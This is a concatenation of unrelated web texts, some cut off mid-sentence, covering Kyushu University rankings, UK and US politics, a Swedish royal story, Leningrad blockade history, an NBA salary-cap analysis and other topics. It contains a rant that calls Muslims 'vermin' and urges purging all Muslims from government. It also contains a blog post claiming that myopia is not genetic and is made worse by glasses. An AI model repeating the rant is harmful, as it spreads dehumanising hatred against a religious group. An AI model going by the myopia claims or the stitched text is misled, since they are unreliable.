The 19th century was the era of hard materials such as steel, some of which were replaced by polymers in the 20th century. The 21st century will be the time of “soft materials”, including polymers, colloids, gels, vesicles, emulsions, films, surfactants, micelles, suspensions and liquid crystals. They are essential to produce various electrical & optical devices, and biodevices etc. The soft materials are increasingly indispensable in our daily lives. Since surfaces and interfaces of soft materials“( soft interfaces”) play an important role in various technological applications and bio-interfaces, precise control of soft interfaces would greatly promote the innovation of future science and technology. In this project, we are focusing on the understanding of fundamental science of soft interfaces formed in nature and extract the molecular and structure design principles. The following three groups are organized in order to pursue this project: 1) Precise molecular design of soft interfaces based on precise synthetic chemistry, 2) Hierarchical structural control and fabrication of soft interfaces through understanding natural systems, and 3) Development of in situ and dynamical characterization methods of soft interfaces.
Academic rankings [ edit ]
General rankings [ edit ]
The university has been ranked 401-500th in the 2019 THE (Times Higher Education) World University Rankings and 126th in the 2019 QS World University Rankings[27].
Domestically, it has been ranked 5th in the 2018 THE World Universities Ranking-Japan. In another ranking, Japanese prep school Kawaijuku ranked Kyusyu as the 7th best university in Japan.[12]
According to QS, its subject rankings were: 123rd in Engineering & IT, 170th in Life Sciences & Biomedicine, and 150th in Natural Sciences. It is also the 18th best university in Asia, according to QS Asian University rankings[28].
Research performance [ edit ]
Kyushu is one of the top research institutions in Japan. According to Thomson Reuters, Kyushu is the 6th best research university in Japan.[13] Its research excellence is especially distinctive in Materials Science (6th in Japan, 49th in the world), Chemistry (6th in Japan, 41st in the world), Biology & Biochemistry (4th in Japan, 95th in the world), Immunology (4th in Japan, 68th in the world), and Pharmacology & Toxicology (4th in Japan, 76th in the world).[29]
Weekly Diamond reported that Kyushu has the 16th highest research standard in Japan in terms of research funding per researchers in COE Program.[30] In the same article, it is also ranked fifth in terms of the quality of education by GP funds per student.
Furthermore, Nikkei Shimbun on 2004/2/16 surveyed about the research standards in Engineering studies based on Thomson Reuters, Grants in Aid for Scientific Research and questionnaires to heads of 93 leading Japanese Research Centers, and Kyushu was placed 11th (research planning ability 10th) in this ranking.[31]
Kyushu University is one of Japan's National Seven Universities. Since Prof. Suzuki received the Nobel Prize in 2010, all the other Universities have alumni or professors who received a Nobel Prize. Kyushu University is the only National Seven University whose alumni or staff have not won a Nobel Prize.
Graduate school rankings [ edit ]
Eduniversal ranked Kyushu as 9th in the rankings of "Excellent Business Schools nationally strong and/or with continental links " in Japan.[32]
Kyushu was ranked 12th in the number of successful candidates of the Japanese Bar Examination in 2009 and 15th in 2010 in Japan.[33]
Alumni rankings [ edit ]
According to the Weekly Economist's 2010 rankings, graduates from Kyushu have the 53rd best employment rate in 400 major companies in Japan.[34]
École des Mines de Paris ranks Kyushu University as 38th in the world in 2011 in terms of the number of alumni listed among CEOs in the 500 largest worldwide companies.[21]
Popularity and selectivity [ edit ]
Kyushu is one of the most selective universities in Japan. Its entrance difficulty is usually considered as one of the top in Japan.[35][36]
Scholarships for international students [ edit ]
Kyushu offers a number of selected scholarships for international students. Some of them are:[37]
Topia Leisure Scholarship (scholarship with work experience)
JASSO - Encourage privately financed international students learning costs
Fukuoka International Student Scholarship
Ushio Foundation Scholarship
Ajinomoto Scholarship
Sun Noh Scholarship
Notable alumni [ edit ]
Bachelors [ edit ]
Former professors [ edit ]
Ryukichi Inada
Inokichi Kubo
Fujiro Katsurada
Harutoyo Ōmori
Sunao Tawara
See also [ edit ]
References [ edit ]
Coordinates:Willie Rennie has revealed the Liberal Democrats will target the late Charles Kennedy’s former seat in the general election.
The Scottish Liberal Democrat leader said it would be a “joy” to take back Ross, Skye and Lochaber from the SNP.
The constituency is fifth on the party’s list of winnable seats, behind East Dunbartonshire, Edinburgh West, North East Fife and Caithness, Sutherland and Easter Ross.
Mr Kennedy, who died in June 2015, led his party from August 1999 to January 2006 and served as an MP for 32 years before being ousted by Ian Blackford two years ago.
In an interview with the Press and Journal, Mr Rennie said: “There is always a bit of a lump in the throat when you drive into the constituency.
“I did a visit to Skye not so long ago. People were still remembering Charles and what he had done over a long period and how much they missed him.
“People still remember when he came and knocked on their door and how he made them feel, the fact he followed up the case and got things fixed.
“Everyone has a personal story – that’s one of the big reasons why it would be a joy to win it back for Charles.”
The North East Fife MSP also predicted the SNP would lose MPs on June 8 while his party would increase its number.
“We are definitely going to up, the SNP will go down. The exact scale of it I’m not sure but the direction of travel is clear,” he said.
“People are fed up with independence dominating every bit of politics and want to send a message back on that |
less complaints. Particularly, because the Bureau suggests that the top-ten list will be accompanied by a bottom-ten list, reputational worries will cause companies to do whatever it takes to make it onto the star complaint resolver list, or at least stay out of the bottom ten. Some customers will receive a windfall. Other customers are likely to bear at least some of the costs of companies' scrambling to stay on the good list.
The Bureau suggested another potential way to balance the complaints: a compliment database. The database could be supplemented by an archive of consumers recounting their positive experiences with financial services firms. The imbalance in the existing database is troubling, but creating a separate database for compliments and populating the website with consumers' good stories about financial firms is not the answer. As with the complaint database, consumers will assume that the Bureau has taken steps to verify these consumers' experiences and the featured companies will seem to have the Bureau's special approval. There is a place for consumer feedback databases, but that place is not "an official website of the United States government."
In a speech last week, Bureau Director Richard Cordray explained that "consumers, of course, can speak directly to us, but they also speak more generally by their behavior in the marketplace." He is right; when consumers are permitted to speak with their feet in the marketplace, their voices have much greater impact than the stories they tell the CFPB.This has got to stop. We have to start cleaning house of this vermin that call themselves “peaceful Muslims.” We know now that THERE IS NO SUCH THING AS A PEACEFUL MUSLIM. Even this Army Officer was probably thought to have been a “peaceful Muslim” proved to us that they don’t exist. They are filled with hate and violence toward all of what they, in their minds, call decent peace loving people, ‘infidels.’ If we are infidels, they are ‘hatefidels’ and we should take aim on them for a change.
Let’s start a new trend here in what was once relatively peaceful America. We should begin purging our federal government of ALL known Muslims and any others who associate themselves with any thing remotely Islamic. They are not fit to be our neighbors or even be in the same country with us. Their initial intent is to make us bow to THEIR will in OUR country.
I say, “To hell with them” and I mean that literally. They aren’t fit to be around good honest, God-loving people, and I mean the God that is good and loving Himself; not the one that tells his followers to go and KILL others so they can come to him in his heaven. Good! Go to him and I doubt you’ll see any heaven where he resides; more like the fires of Hell are in his so-called heaven. There they will pay for their sins of killing innocent people just because those innocents didn’t conform to their unholy and dastardly way of life.
And perhaps we should start at the top; the place where our lying leader says he loves America. Yeah, he loves it alright; he’d love to see it in the hands of his murdering Muslim brothers and sisters. Obama once said that he had visited all 57 states and we all snickered a bit over this bit of what we thought was erroneous information.
But guess what? He was probably right. The Islamic world does in fact consist of 57 states and Islam is what is on the mind of this usurper who holds hostage our most revered political office once populated by George Washington, a TRUE and devout leader.
This is a quote from ‘InfoPlease.com’ “The Organization of the Islamic Conference (OIC) is an international organization grouping fifty seven states which have decided to pool their resources together, combine their efforts, and speak with one voice to safeguard the interests and secure the progress and well-being of their peoples and of all Muslims in the world.” (Emphasis mine.) Yeah, I would bet that Obama has been to all 57 states; he didn’t make a mistake, he was just not thinking about American states. A psychologist would call that a “Freudian slip.”
So let’s grease the track for the quick departure from the United States and a very quick arrival to the “holy” 57 Islamic states. Let’s get all of the socialistic liberals out of our Congress next November and then when normal Americans are in place we can start impeachment proceedings to rid us of the head of the beast. Or as an alternate so we won’t have to contend with the empty-headedness of Joe Biden, just let Obama stay on but with no powers for two years while our new Congress draws up new legislation abolishing all the harmful actions the current Congress and Administration have wreaked on our fair country.
Then we can also take on the anti-American MainStream Media (MSM); those head up their ‘you-know-whats’ that have aided and abetted the sorry bunch of socio/communistic that have been trying to lead us into the corrupt embraces of the United Nations.
What say America? Are your ready for some ‘County First Actions’?The Crown Princess of Sweden attended the Auschwitz memorial service yesterday, along with dignitaries and survivors. However, Crown Princess Victoria seemed taken aback when one reporter asked about her grandfather’s “Nazi” past during an interview as she stood next to two Auschwitz survivors.
According to the Local, Crown Princess Victoria was at the event, along with the Speaker of Sweden’s parliament, Urban Ahlin. The memorial took place at the site of the Auschwitz-Birkenau concentration camps in Poland. However, as the Daily Mail reports, the Crown Princess Victoria was swept aback as a reporter for Swedish public service channel Sveriges Television asked if the Crown Princess had “considered the family history.” The reporter goes on to clarify that “there are relatives further back who were Nazi supporters.”
The question was alluding to the fact that Crown Princess Victoria’s grandfather, Walther Sommerlath, had joined the National Socialist German Workers’ Party (NSDAP), more commonly known as the Nazi Party, as an expatriate in Brazil in 1934. In addition to subscribing to the Nazi party, the Daily Mail reports that Sommerlath was also accused of “taking part in the ‘aryanisation’ of Jewish-owned businesses in Germany, after buying a metal engineering plant in Berlin from a Jewish engineer for a knock-down price in 1939.”
This isn’t the first time the “Nazi” past has been brought up in Sweden’s royal family. In fact, Queen Silvia has publicly apologized for her father’s actions, noting she did not know about the Nazi party affiliation until she became an adult.
When Sommerlath’s Nazi ties were brought up at the Auschwitz memorial, Crown Princess Victoria did not address the question, instead she simply stared down the reporter as she noted how “horrifying” Nazism was during one of humanities worst times in history.
“Nazism is something horrifying and it is one of humanities worst histories. It is a long history. We have a lot of information and one can take part of that if one so wishes.”
Though the reporter was quick to point out the royal family’s ties to the Nazis, it is also important to note that on Crown Princess Victoria’s opposite side of the family, Count Bernadotte, is responsible for the negotiation of the release of 31,000 prisoners of Nazi concentration camps.
“On the opposite side of the family tree is diplomat Folke Bernadotte, King Carl XVI Gustav’s godfather and his father’s cousin. During the Second World War, Count Bernadotte negotiated the release of about 31,000 prisoners from German concentration camps, including 450 Danish Jews from Theresienstadt.”
The Royal head of press, Margareta Thorgren, wondered exactly what the point of the question was, as the Crown Princess was standing next to two Holocaust survivors.
“You wonder what the point was. In this instance, the Crown Princess was standing with two elderly people, survivors of the Holocaust.”
What do you think of the reporter’s line of questioning to the Crown Princess of Sweden? Was the Auschwitz memorial an appropriate time to bring up such lurid details from the family’s past considering the Crown Princess has family members on both sides of the issue?This story was first published on Feb. 4, 2001, in the Montreal Gazette.
Rabbi Bernard M. Kaplan, M.A., has resigned his position as minister of the McGill College avenue synagogue, to accept, it is said, a call to one of the prominent Jewish churches in the western part of the United States.
Gazette, Tuesday, Feb. 4, 1902
Bernard Kaplan was never in Montreal long enough to make the impact on the Jewish community – and, indeed, the city at large – that might have been predicted from his undoubted gifts.
He had arrived five years before, having just graduated from the Jewish Theological Seminary in New York. So highly did his mentors in New York esteem him – and so anxious was the Montreal congregation to have him – that the rabbinical authorities accompanied him to Montreal so he could be ordained as a rabbi and installed as the synagogue’s incumbent at the same time.
The synagogue was Shaar Hashomayim, which from 1885 to 1922 occupied a handsome building on McGill College Ave. until it moved to the much larger quarters it occupies in Westmount today. It was known as the German shul, distinguishing it from Montreal’s oldest synagogue, Shearith Israel (the Spanish and Portuguese Synagogue), also known as the Spanish shul.
”While the Spanish Synagogue differed greatly in appearance from the synagogues which the immigrant had known in Europe,” writes Israel Medres in his charming 1947 book Montreal of Yesterday, translated from the Yiddish and reissued last year, ”the German shul was similar to the more opulent synagogues he would have seen in the larger cities and towns of Russia and Romania.”
The newly minted Rabbi Kaplan took to his duties with commendable zeal. He was well liked and a compelling speaker. According to The Gazette, he drew extraordinarily large congregations week in and week out and also gave lecture series aimed at younger members of his community. In addition to conducting the usual Sabbath school, he was principal of a daily Hebrew school.
Kaplan was the Shaar’s first formally trained rabbi. This was a significant change. According to Wilfred Shuchat, now rabbi emeritus of Shaar Hashomayim and a historian of the congregation, 19th-century rabbis in Montreal were often haphazardly qualified. Someone just stepping off the boat with an appropriately learned manner might easily be engaged by a synagogue, with no one the wiser about what substance really lay behind that air of scholarship.
Kaplan was a Zionist. He raised money to help starving Jews in Europe, as well as to underwrite holiday camps run by the Baron de Hirsch Institute in Montreal.
In time, he was named Dominion Hebrew chaplain and in this capacity was particularly concerned for inmates in St. Vincent de Paul prison. ”The position is honorary,” The Gazette said, ”but Rabbi Kaplan was never found wanting when any of the released prisoners needed material assistance. He has obtained positions for some who are now doing well and are law-abiding.”
At the time of his leaving Montreal, Kaplan told The Gazette that this city’s synagogues were perhaps the best attended of any on the continent. He ascribed this to the largely middle-class nature of the Jewish community here.
”It is either the very wealthy or the very poor that, as a rule, are lax in the practical observances of religion,” he said, ”the former because they have other sources of felicity and comfort, the latter because they are naturally discontented and, therefore, often become skeptical.”
To be sure, the Jews whom Kaplan would have seen most frequently, the Shaar’s relatively prosperous members, might account for this placid view of the wider Jewish community. Yet it does seem odd coming from a man who also knew about Jewish convicts and Jewish fresh-air funds.
Perhaps he was simply anxious to ingratiate himself and his community with The Gazette’s overwhelmingly Christian readership. He also attributed the fervour of the city’s Jews to Montreal’s religious and church-going nature in general. ”The Jewish people are always ready to follow a good example, as it is a constant concern to set a good example themselves,” he said.
Kaplan was off to Sacramento, Calif., and it is unclear precisely why he chose to leave. He told The Gazette that ”a minister is like a soldier: he has to go wherever duty calls him,” though the real reason may be more prosaic. The Shaar’s Shuchat notes that 19th-century rabbis here were notoriously underpaid and suspects Kaplan had simply received an offer from the United States that paid more.
In the event, he was succeeded by Herman Abramowitz, then just 22, who would serve the Shaar with great distinction until his death in 1947. It seems a pity there could not have been a place in the city for two such distinguished young men.France runs a vast electronic surveillance operation, intercepting and stocking data from citizens' phone and internet activity, using similar methods to the US National Security Agency's Prism programme exposed by Edward Snowden, Le Monde has reported.
An investigation by the French daily found that the DGSE, France's external intelligence agency, had spied on the French public's phone calls, emails and internet activity. The agency intercepted signals from computers and phones in France as well as between France and other countries, looking not so much at content but to create a map of "who is talking to whom", the paper said.
Le Monde said data from emails, text messages, phone records, accessing of Facebook and Twitter, and internet activity going through sites such as Google, Microsoft or Yahoo! was stocked for years on vast servers on three different floors in the basement of the DGSE headquarters.
The paper described the vast spying programme as secret, "outside any serious control" and illegal.
The metadata from phone and internet use was stocked in a "gigantic database" which could be consulted by six French intelligence and security agencies as well as the police.
The paper said Bernard Barbier, technical director of the DGSE, had previously described the system as "probably the biggest information centre in Europe after the English".
Referring to the system as a "French Big Brother", Le Monde said the French state was able to use the surveillance "to spy on anybody at any time". The paper wrote: "All of our communications are spied on."
Le Monde said that after Snowden's revelations about the NSA's Prism surveillance programme prompted indignation in Europe, France "only weakly protested, for two excellent reasons: Paris already knew about it, and it was doing the same thing".
When revelations about the Prism programme harvesting citizens' data emerged, the French government did not immediately comment. But after fresh allegations about the US spying on the European Union and foreign embassies, including the French embassy in Washington, the president, François Hollande, said these practices must "cease immediately". France demanded the suspension of talks on the EU-US free trade pact until it had received full explanations about surveillance.
The foreign minister, Laurent Fabius, said this week that France did not spy on the US embassy in Paris because "between partner countries" these "were not the sorts of things that should happen". Asked about the US spying, Fleur Pellerin, the junior minister for the digital economy, told BFMTV this week that she found the "generalised surveillance of citizens" was "particularly shocking".
The Guardian revealed last month that Britain's spy agency GCHQ had secretly gained access to the network of cables which carry the world's phone calls and internet traffic and had started to process vast streams of sensitive personal information which it was sharing with its American partner, the NSA.As a general rule, it's nearly impossible to add about $48 million per year to your $69 million salary structure without feeling a little pain. Trying to do it with $45 million already guaranteed to 11 other players requires a lot of magic.
But that's exactly what the Phoenix Suns want to do, by re-signing Brandon Knight ($14 million per year, $70 million total) and adding Tyson Chandler (average of $13 million per year, $52 million total) from the Mavericks and dallying with LaMarcus Aldridge (average of $21 million per year, $85 million total).
After adding Chandler, the Suns are still in a position to be either "under the cap" or "over the cap", depending on what they do with their cap holds.
*factoring in the rumored increase of the cap by 2.1 million more than expected, to 69.1 million, just released yesterday
The advantage of being "under the cap" is the ability to sign free agents like Chandler outright, using free cap room to improve the team.
The advantage of being "over the cap" allows the team to use various salary cap exceptions and generous trade rules to improve the team.
What we don't know right now is how the Suns are positioning themselves before having Chandler sign on the dotted line on July 8.
Note: The Suns won't ink Brandon Knight until after all the dust settles, so we only need to count his cap hold in these machinations rather than his new salary.
"Under the cap"
If the Suns want to sign Chandler with cap room, they had just enough space to do so if they renounce their Bird Rights to Brandan Wright, Marcus Thornton and Gerald Green as shown in the chart above.
What that means is that the Suns could no longer re-sign any of the three players unless they used cap room under the reported $69 million in total 2015-16 salaries. By also releasing Jerel McNeal, it appears the Suns could generate maybe $3 million in additional cap space, at best.
But being "under the cap" and using almost all the cap space on Chandler also means the following:
the Goran Dragic trade exception of $5.5 goes away (trade exceptions are only for "over the cap" teams)
Only the "room" exception of $2.8 million is available to exceed the cap, and must be used on its own for free agent signings. It cannot be used as cap room in a larger deal
Suns cannot execute any trades that end up exceeding the cap. So there's no such thing as "matching within 50% of salaries". The Suns simply cannot take in more salary than they send out, if they sign Chandler using cap room.
Any acquisition of a player like LaMarcus Aldridge means the Suns would have to ship out $17+ million in salaries so the Suns are still at or under the cap after the trade is completed.
End result: The Suns can sign Chandler using cap space, but then be restricted to a little bit of remaining cap space, one small exception (room) and equal-or-greater salary trades for the rest of the season.
"Over the cap"
Alternately, the Suns could enter the summer as an "over the cap" team by keeping all the Bird Rights of all the players, as shown in the chart above.
This would allow the Suns to use all the various cap exceptions, like re-signing their own free agents, as desired, but be limited to trade and cap exception rules.
But to do that requires the Suns to acquire Tyson Chandler via trade from the Mavericks, with matching salary anywhere between 50% and 150% of Chandler's first-year salary.
There is currently no indication that the Suns are doing such a thing with Chandler, but if they do they'd have to send back at least $6-6.5 million in salaries to acquire Chandler from among the players already under contract.
And that's before doing any kind of deal for Aldridge or another player. But at least now, the Suns would only have to send back as little as 50% salary matching (ie. $9-10 million for Aldridge).
All tolled, it would cost about $15-16 million in outgoing salaries to bring in both Chandler and Aldridge as an "over the cap" team, and the two involved parties would HAVE to be Portland and Dallas receiving those assets back.
Then, at least, the Suns would still be able to use the Goran Dragic $5.5 million trade exception to acquire another player, plus the mid-level exception (5.8 million) and the biennial exception (1.9 million).
Confused?
The Suns cannot bring in both Chandler and Aldridge (or Chandler and another big-name free agent) without trading out some assets. And depending on how they do it, some of those involved parties would have to be the team that just lost their player.
Let me narrow it down to this:
Option A: "Over the cap": Chandler comes in a sign-and-trade from Dallas, with $6+ million going back to Dallas. Then Aldridge can be had in a sign-and-trade from Portland, with another $10+ million going back to them.
Option B: "Under the cap": Chandler comes to the Suns via cap room, sending nothing to Dallas. As a result, any acquisition of talent after that would have include equal-to-greater salary matching up to the $69.1 million cap. Depending on Knight and Chandler's first year salaries, and a release of McNeal, that could mean $15+ million in salaries going out.
The Suns could also pre-empt all this with a major salary dump, like Sacramento just did with Philadephia to clear mondo cap room. Again, this would require about $15 million MORE going out than coming back.
Summary
Either way, to bring in both Chandler and Aldridge would require the Suns to send out - to somebody - $15-17 million in salary.
I'll leave it to you which salaries that means, while just leaving these notes:Twelve-year old Tanya Savicheva started her diary just before Anne Frank. They were of almost the same age and wrote about the same things – about the horrors of fascism. And, again, both these girls died without seeing victory day – Tanya died in July of 1944 and Anne in March of 1945. «The Diary of Anne Frank» was published all over the world and told the author’s story to many people. «The Diary of Tanya Savicheva» was not published at all – it contains only seven scary notes about the deaths of her family members in Leningrad at the time of the Blockade. This small notebook was presented at the Nuremberg trials as a document condemning the terrors of fascism.
Today «The Diary of Tanya Savicheva» is in the museum of history of Leningrad (now St. Petersburg ) and a copy is at the Piskarev cemetery where 570 thousand people who died in Leningrad during the 900-day blockade rest (1941-1943).
The child’s hand, losing strength quickly due to extreme hunger, wrote short words and wrote them unevenly. The delicate soul of the child was paralyzed by extreme suffering and was unable to feel anymore. Tanya just wrote down facts that surrounded her – tragic visits of death to her home.
«Grandma died on the 25th of January at 3’o’clock 1942.»
«Leka died on the 17th of March at 5 in the morning. 1942.»
«Uncle Vasya died on the 13th of April at 2 in the afternoon. 1942.»
«Uncle Lyusha died on the 10th of May at 4 in the afternoon. 1942.»
«Mom died on the 13th of March at 7:30 in the morning. 1942»
« Everyone died. Only Tanya is left.»
…She was the daughter of a baker and a seamstress, the youngest in the family, beloved by all. She had big gray eyes, long blonde bangs and wore a little sailor suit. Her bright, ringing voice showed lots of promise in terms of singing.
In fact, the whole Savichev family was gifted musically. The mother, Irina Ignatievna, even created a small family ensemble: two brothers, Leka and Misha, played the guitar, mandolin and banjo, Tanya sang, and the rest were the choir.
The father, Nikolai Rodionovich, died young and so Irina Ignatievna had to go out of her way to support a family of five. As a seamstress of the Leningrad house of fashion, she was popular and made good money for the times. Beautiful examples of her work – curtains, napkins, tablecloths, decorated the house.
Tanya also learned to sew at an early age. What she loved most was to sew flowers….
The summer of 1941, the Savichevs were going to spend a village close to Gdov, by lake Chudskoye. But only Misha left for the village. The morning of the 22nd of June, which brought the war, changed all plans. The family decided to stay in Leningrad, to be close together and to help the front in any way they can. The mother sewed uniforms for the soldiers. Leka, because of his bad vision, was not drafted and worked at a factory instead while his sisters Zhenya and Nina worked at a factory sharpening mine bodies as well as strengthening city defenses.
Tanya also worked. She helped the others to dig trenches. But the ring of the Blockade that surrounded Leningrad still became tighter and tighter. As Hitler stated in his plans: « Leningrad will be strangled by hunger and leveled of to the ground». One day, Nina did not come back from work. That same day, there was a big bombardment and everyone was worried about her. But as time passed and it became apparent that Nina was not going to come back, the mother – Irina – gave her daughter Tanya a small notebook in memory of her sister Nina. This notebook was where Tanya later started her diary.
Zhenya, Tanya’s other sister, died at the factory. She worked two shifts in a row and after that also gave blood. She just didn’t have enough strength. Soon the grandmother of the family was sent to the Piskarev cemetery – her heart burst. The «History of the Admiralteyskiy factory» also contains the following lines: «Leonid Savichev always worked very diligently even though he was very thin and worn out. One day he didn’t come to the factory. It became known that he died the previous day «.
More and more often Tanya opened her diary – one after another her beloved relatives left her and finally even her mother. «All the Savichevs died. Only Tanya is left».
Tanya never found out that not all the Savichevs died. Her sister Nina was saved and transported away from the front line. In 1945, she returned to her home city, to her house. There, amidst bare walls and complete ruin, she found Tanya’s notebook. Tanya’s brother Misha also survived after suffering severe injuries at the war.
Tanya herself was discovered by special nursing brigades who went around the houses of Leningrad. She was barely alive. Along with about 140 children who were in a similar state, she was transported to Gorkovskaya region, to a village called Shatki. The villagers gave the children what they could and tried to make them feel better. Many of the children did get better and were able to stand and walk again, finally. But Tanya could not. Doctors battled for her life for two years, but could not do anything against the deadly processes that began in her body. Tanya’s arms and legs shook, she had horrible pains in her head. Tanya died on the 1st of July 1944. She was buried at the village cemetery.
Tanya Savicheva was born on the 25th of January, on the day of St. Tatiana. The members of the Savichev family who survived always get together at the table and sing «The Ballad of Tanya Savicheva». This song was first sung at the concert of Edith Piaff. «Tanya, Tanya, your name is like the warning bell in all languages…»
The heart cannot cease to remember. Otherwise, we will loose our roots, our past. And without the past there is no future.Earlier this year, researchers did a study to check out the growth of the rates of myopia throughout the world. It’s certainly not our imagination that more and more people are becoming nearsighted. And it’s not a matter of more people being fortunate to have access to eye doctors.
To clarify what you’re looking at, the darker vertical bars is the myopia prevalence as of the year 2000, labeled on the left side in millions of people. The corresponding % of each age group is the jagged horizontal line, labeled on the right side. So currently age 25-29 has the highest myopia prevalence. The lighter vertical bars and the higher jagged horizontal line are projections.
Here’s what the graph means. This is like the post World War 2 “baby boom”. Because it’s a boom, unfortunately this is not a graph showing that myopia goes away as we get older, which at first glance the lower bars on the right side look to suggest. Some people with good vision get farsighted as they get over 40 or 50, but research shows that people with myopia stay stable or become more myopic. What you see in the graph is NOT the change by age. This is a generational boom that has raised the bar, so to speak, for myopia rates.
One problem with the baby boom is the boomers didn’t have as many kids as their parents did, so it was a swell in the size of an age group that will pass. With myopia there’s no indication that it will go away in succeeding generations.
There is one strange thing I want to point out on the graph. 35% of 20 year-olds were myopic in the year 2000. The upper line on the graph shows that group rising to 65% myopic by age 70. Why? I don’t know. This might be a mistake in the graph plotting, or perhaps the researchers have reason to believe that a large portion of young adults without myopia will develop it by age 70. Typically most people will have myopia by their mid-20s or never. So remember, this graph includes a projection that is only an educated guess. Without even estimating what will happen in 50 years, it’s worrying enough that the current myopia rates among young people are so high.
When you look at all ages combined, currently an estimated 23% of the global population is myopic. The projection is that in 50 years over 60% of young people will be myopic, raising the global prevalence among all ages combined to just over 50%. Over half the world.
And in some places it’s worse. That’s just the world average. Some parts of the world still have lifestyles and cultures that do not really lead to myopia, and their rates are much lower, to the point of being almost nonexistent. They’re lowering the world average. On the other end of the spectrum, in some East Asian countries it’s already over 80% in children, as illustrated to the right.
This will not stop. Given the way that myopia is a behaviorally infectious disorder, the projections might even be too low. If East Asia is any indication, this could progress to the point where it’s weird to NOT be myopic.
Unless we do something about it.
Now I’ve already gone over in previous posts that research shows that myopia is not genetic. Myopia is the result of bad habits that are learned, and myopia sticks around as long as the bad habits do. Glasses compound the problem and make the bad habits worse.
So the future we see in the graph is not unavoidable. The trend is reversible, and the condition is reversible in the individual cases as well. As bad as it may get, it can always be turned around.
Maybe in a strange way this is a good thing. Sometimes an itch has to get annoying enough before you scratch it. A government has to get corrupt enough before people revolt. People get well when they become fed up with being sick.
To provide a huge solution, you need a huge problem. Huge problems have to be solved, and when the solution is perfected well enough, it will get more attention. I’m working on improving the solution, as are many other people, as we all understand myopia better in the light of new discoveries and understandings about the human mind. So these will be interesting times ahead.Picturehouse workers have voted over 90% for further strike action in their dispute over pay, conditions, and union recognition.
The current dispute started at the Ritzy in Brixton in 2014 and spread out to five other cinemas, in Hackney, Crouch End, Piccadily, Dulwich and Brighton. The strikers have gone out of their way to support other people in disputes especially low paid workers like the London cleaners. During the long running Lambeth College strike Ritzy strikers took part in several supportive actions with the nearby Brixton branch, including marches between picket lines. Picturehouse management have responded with intimidation including suspending several reps. The four reps who were suspended at the Ritzy cinema in Brixton have now been sacked and have a case ongoing for wrongful dismissal. Picturehouse management later suspended another rep at Hackney. Picturehouse management have also changed tactics from closing the cinemas on strike days to opening them with new temps and managers from other sites across the country.
Ritzy in Lambeth and Picturehouse in Hackney are the two most strike prone cinemas (there were previous strikes at the Ritzy in 2007.) Brixton and Hackney are both areas with a strong left wing tradition where the strikers receive a lot of local support. However there are 24 Picturehouse cinemas in the UK and it is important for the strike to spread. Here is a list of Picturehouse cinemas:
London: Clapham, Dulwich, Greenwich, Brixton, Stratford, Hackney, Crouch End, Notting Hill, Piccadily
Clapham, Dulwich, Greenwich, Brixton, Stratford, Hackney, Crouch End, Notting Hill, Piccadily Rest of UK: Bath, Exeter, Stratford, Southampton, Oxford, Cambridge, Norwich, Henley, Brighton, Liverpool, Bradford, York, Edinburgh.
Bath, Exeter, Stratford, Southampton, Oxford, Cambridge, Norwich, Henley, Brighton, Liverpool, Bradford, York, Edinburgh. There is also a Picturehouse in Dublin where workers are currently balloting on strike action.
As a long running and hard fought strike in a casualised and low paid industry, it is important that the Picturehouse strike isn't worn down by attrition. The strikers are friendly and welcoming of supporters on strike days, and the picket lines make a real difference to the strike as a lot of customers turn back or get refunds.
Follow the dispute and get in touch with the strikers to find out how you can support them:
https://www.facebook.com/HackneyLivingWage/
https://www.facebook.com/RitzyLivingWage/
@RitzyLivingWageA lot can go wrong for Republican elites in the next few weeks of the primary. But the absolute worst-case scenario for them is if Donald Trump racks up a winning streak that culminates with him beating Marco Rubio in Florida.
Well, that's exactly what's on track to happen, according to a newly released poll by Quinnipiac — and it's not even close.
Trump beats Rubio among likely Republican primary voters in Florida 44 percent to 28 percent, the poll shows. Ted Cruz comes in third with 12 percent, John Kasich is in fourth with 7 percent, and Ben Carson is in last with just 4 percent.
This result would be utterly devastating both to Rubio's campaign and to the Republican Party's chances of stopping Trump. Not only would Rubio be symbolically humiliated by losing his home state, but Trump would pick up a massive delegate haul, since Florida allots all its 99 delegates to whoever comes in first place.
Overall, it's very difficult to see how Rubio can win the nomination if he loses Florida. And it's very difficult to see how Cruz wins if Trump beats him in the South (as Super Tuesday polls currently predict). So even though Trump likely won't technically have clinched a majority by the time Florida votes on March 15, a Trump win there would likely mean that's the day the nomination is all but settled.
If this happens, Trump almost certainly wins
This result isn't exactly a surprise. Trump did lead all three Florida polls released in January by double digits, after all. But we hadn't gotten a new one in a while, and some had hoped that Rubio's recent third- and second-place finishes would have given him some momentum in... his home state. That didn't happen: Trump's 16-point lead in the new poll remains a commanding one.
Now, it should be noted that the poll didn't test how Rubio would do one on one against Trump in Florida. If Cruz, Kasich, and Carson drop out, Rubio could well do a good deal better. But he'd have to make up a whole lot of ground to close a 16-point gap, and Trump will likely pick up some of those candidates' supporters too.
However, this very poll result makes that head-to-head matchup less likely to ever happen. Why in the world would the other candidates clear the field for Rubio if he's trailing Trump by so much in his home state? At least Cruz is still narrowly beating Trump in Texas, and Kasich... well, he's losing to Trump in Ohio, but not by this much! (He's down by 5 in another recent Quinnipiac poll.)
The point is, Rubio has claimed to be the only candidate who can stop Trump, and it sounds plausible in theory. But he hasn't yet shown he can win anywhere — and now his ability to win even his home state is deeply in question. He'd better hope the dynamics of the race change fast — or his fate could be effectively sealed on March 15.
Update: Here's what passes for good news for Rubio these days — a new poll was released Thursday afternoon showing him only losing his home state of Florida by seven points, not the 16 he trailed by in the Quinnipiac poll.
However, on Friday morning he got some rather worse news — a Public Policy Polling poll had him trailing Trump by 20 in the full field, and down 14 to him in a head-to-head matchup between the two of them.Ahead of the movie’s theatrical release, Sony Pictures has dropped a new trailer for Starship Troopers: Traitor of Mars.
Directed by Shinji Aramaki and Masaru Matsumoto, the CG movie sees the return of Casper Van Dien as the voice of Johnny Rico and Dina Meyer as Dizzy Flores. This isn’t Van Dien’s first encore as Rico, however. The original |
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There is no question that the past is exerting a pull on Russian art. All the novels short-listed for the prize vibrated with the feel of the 20th century, noted Elena Dyakova, a critic at the newspaper Novaya Gazeta.
“AFTER the period of post-modernism, people are searching for some moral bearings, and it’s easiest to find that in the lives of your own grandmothers,” she said. “Theoretically, we consider that there are no decent people in Russia, but empirically, we can show that they used to exist, in any case.”
So it is with Ms. Chizhova’s fictional grandmothers, hardly dissident types, who find themselves at war with the Soviet system as they struggle to keep the girl, Sonia, who is mute, out of a state home for the handicapped. At a moment of despair, knowing too well the bleak life that awaits Sonia in state custody, one of them tries to prepare her.
